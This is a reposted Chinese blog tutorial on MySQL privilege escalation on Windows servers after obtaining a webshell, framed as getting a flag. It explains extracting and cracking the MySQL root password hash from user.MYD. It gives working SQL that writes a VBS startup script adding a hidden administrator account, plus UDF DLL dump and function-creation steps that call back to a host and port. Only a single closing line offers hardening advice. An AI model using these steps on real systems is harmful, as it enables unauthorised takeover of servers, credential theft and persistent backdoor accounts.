如何通过mysql提权获得flag值

如何通过mysql提权获得flag值,第1张

利用mysql提权的前提就是,服务器安装了mysql,mysql的服务没有降权,(降权也可以提,没降权的话就最好了),是默认安装以系统权限继承的(system权限). 并且获得了root的账号密码

先来说说我是咋判断一台windows服务器上的mysql有没有降权的. 0.0如果能运行cmd的话,我会先看看有啥用户先,如果有mysql mssql这样用户名,或者类似的.我就会猜测他的mssql服务或者mysql的已经被降权运行了.但并不代表不能提权,只要能运行cmd..

接着说一下,判断服务器上是否开启了mysql服务. 一般在拿到webshell的时候,都会扫描一下端口,如果开启了3306端口的话,我会telnet 过去看看- -.忘了有无回显~(提权的时候,大多数 3306端口的都是不支持外链的.呃,我遇到的大多数是这样, 有root可以开启外链.) 当然也有一些管理员会把mysql的默认端口改掉.另外一个判断的方法就是网站是否支持php,一般支持php的网站都用mysql数据库的.php+mysql啊,好基友啊好丽友- -~(当然,也有一些网站用其他的一些更专业的数据库).

再说说如何查找mysql root的密码.

MYSQL所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安装程序的data目录下,如图2所示,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。

User.frm user.myd User.myi

这几个文件.在webshell下,下载下来,解密.用c32asm或者其他的一些文本编辑器user.MYD打开.

A30F80616A023BDFC9

复制到cmd5.com那查一下,或者用cain爆破一下.

打开后使用二进制模式进行查看,如图所示,可以看到在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,即A30F80616A023BDFC9 。

具体使用cain破解的,我这就不演示了

还有一个查找的方法就是,一些php网站安装的时候用的是root用户,例如dedecms,他数据库安装的信息就是写在data/common.inc.php

mysql 5.1版本以上,必须把udf文件放到mysql安装目录下的lib/plugin下才能创建自定义函数,mysql into dumpfile并不能创建文件夹,所以mysql 5.1以上的版本,root权限提权就很困难了,目前已有的方法只有写启动项如下:

create table a (cmd text)

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " )

insert into a values ("a=wshshell.run (""cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add"",0) " )

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 007hack.com /add"",0) " )

windows 2008启动项:

C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs"

写启动项缺陷:

1、需要服务器重启(如果管理员3389远程桌面登陆时注销了用户,再次3389连接时,这个脚本就会运行,添加一个管理员,不需要重启)。

2、安全软件可能会拦截。

补充:

如果mysql小于5.1是root权限,windows 2008一样可以拿到系统权限(mysql无降权处理)

1、mysql导出一个dll

SELECT udf FROM 007hack_tab INTO DUMPFILE 'c:/007hack.dll

//udf内容网上早有公开

2、创建一个函数

create function myconnect returns integer soname 'c:\\007hack.dll

//c盘要可以写,注意是”\\”

3、调用这个函数

select myconnect('".$chost."','".$cport."')

//这只是一个例子

肯定是你设置的不对,你可以不开防火墙,设置安全的mysql密码,另外把mysql服务降权,不用ADMINISTRATOR管理员账户,就算黑客获得root权限,他也不能拿到你的服务器。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/6122539.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-03-15
下一篇 2023-03-15

发表评论

登录后才能评论

评论列表(0条)

保存